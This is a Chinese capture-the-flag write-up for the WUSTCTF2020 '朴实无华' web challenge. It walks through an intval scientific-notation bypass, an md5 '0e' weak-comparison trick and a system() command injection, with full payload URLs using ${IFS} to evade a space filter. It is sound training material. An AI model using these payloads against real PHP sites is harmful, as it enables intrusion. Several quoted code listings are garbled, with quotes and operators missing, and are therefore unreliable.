BUU-日刷-[WUSTCTF2020]朴实无华_套娃/intval函数

BUU-日刷-[WUSTCTF2020]朴实无华_套娃/intval函数

进去就是一个hackme

查看前端代码:

BUU-日刷-[WUSTCTF2020]朴实无华_套娃/intval函数

 

 

 看到个bot,那就看看robots.txt

BUU-日刷-[WUSTCTF2020]朴实无华_套娃/intval函数

 

访问fAke_f1agggg.php

BUU-日刷-[WUSTCTF2020]朴实无华_套娃/intval函数

 

发现一个假flag

 前端代码也没东西,那只能看网络请求了

BUU-日刷-[WUSTCTF2020]朴实无华_套娃/intval函数

 

看到个look_at_me字段

访问/fl4g.php

BUU-日刷-[WUSTCTF2020]朴实无华_套娃/intval函数

 

看到个朱一旦?

注意到这里有许多中文乱码,但是貌似不重要(之类本来是正常中文,这里貌似环境出了点问题)

可以下个插件改一下编码格式

 

代码如下:

<?php
header(Content-type:text/html;charset=utf-8);
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET[num])){
    $num = $_GET[num];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET[md5])){
   $md5=$_GET[md5];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET[get_flag])){
    $get_flag = $_GET[get_flag];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?>
金钱解决不了穷人的本质问题

 

 

先看第一关:

//level 1
if (isset($_GET[num])){
    $num = $_GET[num];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}

传入num,num转数字要小于2020,但是num+1转数字大于2021

这里研究一下intval函数

<?php
echo intval(42);                      // 42
echo intval(4.2);                     // 4
echo intval(42);                    // 42
echo intval(+42);                   // 42
echo intval(-42);                   // -42
echo intval(042);                     // 34
echo intval(042);                   // 42
                            echo intval(1e10);                    // 1410065408
                            echo intval(1e10);                  // 1
echo intval(0x1A);                    // 26
echo intval(42000000);                // 42000000
echo intval(420000000000000000000);   // 0
echo intval(420000000000000000000); // 2147483647
echo intval(42, 8);                   // 42
echo intval(42, 8);                 // 34
echo intval(array());                 // 0
echo intval(array(foo, bar));     // 1
?>

主要看科学计算法

intval(1e2)=100

intval(‘1e2‘)=1     因为这里字符串转时候只看前面的1了

而intval(‘1e2‘+1)=101  这里先字符串转数字变成100再加1

注意这再php7无效

php7:

BUU-日刷-[WUSTCTF2020]朴实无华_套娃/intval函数

但是这题有效

payload:?num=2e5

 

继续看第二关:

//level 2
if (isset($_GET[md5])){
   $md5=$_GET[md5];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

a=md5(a)

这里是弱类型比较,主要看积累了

a=0e215962017

md5(a)=0e291242476940776845150308577824

都是0e开头

payload:?md5=0e215962017

 

第三关:

//get flag
if (isset($_GET[get_flag])){
    $get_flag = $_GET[get_flag];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
get_flag中的cat 替换成 wctf2020、
然后执行get_flag
说实话,意义不明 为啥要用cat???
要是flag文件名里有cat当我没说

先ls:
?num=2e5&md5=0e215962017&get_flag=ls

BUU-日刷-[WUSTCTF2020]朴实无华_套娃/intval函数

 

 

再:随便nl

注意空格过滤了,用${IFS}代替

?num=2e5&md5=0e215962017&get_flag=nl${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

BUU-日刷-[WUSTCTF2020]朴实无华_套娃/intval函数

 

 





说起来,我积累了一个数据的知识点,存在本地一个记事本里
就这刚才手贱 全选空格 ctrl+s退出
全没了,吸取教训啊同志们,关键文档定时备份,最好直接上云端

 

 

 

 

 

 

<?php
header
(‘Content-type:text/html;charset=utf-8‘);
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET[‘num‘])){
    
$num $_GET[‘num‘];
    if(
intval($num) < 2020 && intval($num 1) > 2021){
        echo 
"我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die(
"金钱解决不了穷人的本质问题");
    }
}else{
    die(
"去非洲吧");
}
//level 2
if (isset($_GET[‘md5‘])){
   
$md5=$_GET[‘md5‘];
   if (
$md5==md5($md5))
       echo 
"想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die(
"我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die(
"去非洲吧");
}

//get flag
if (isset($_GET[‘get_flag‘])){
    
$get_flag $_GET[‘get_flag‘];
    if(!
strstr($get_flag," ")){
        
$get_flag str_ireplace("cat""wctf2020"$get_flag);
        echo 
"想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        
system($get_flag);
    }else{
        die(
"快到非洲了");
    }
}else{
    die(
"去非洲吧");
}
?>
金钱解决不了穷人的本质问题

BUU-日刷-[WUSTCTF2020]朴实无华_套娃/intval函数

上一篇:Windows纯净版PE系统


下一篇:Windows 2012 R2安装DP10.60报错Windows OS版本和补丁级别限制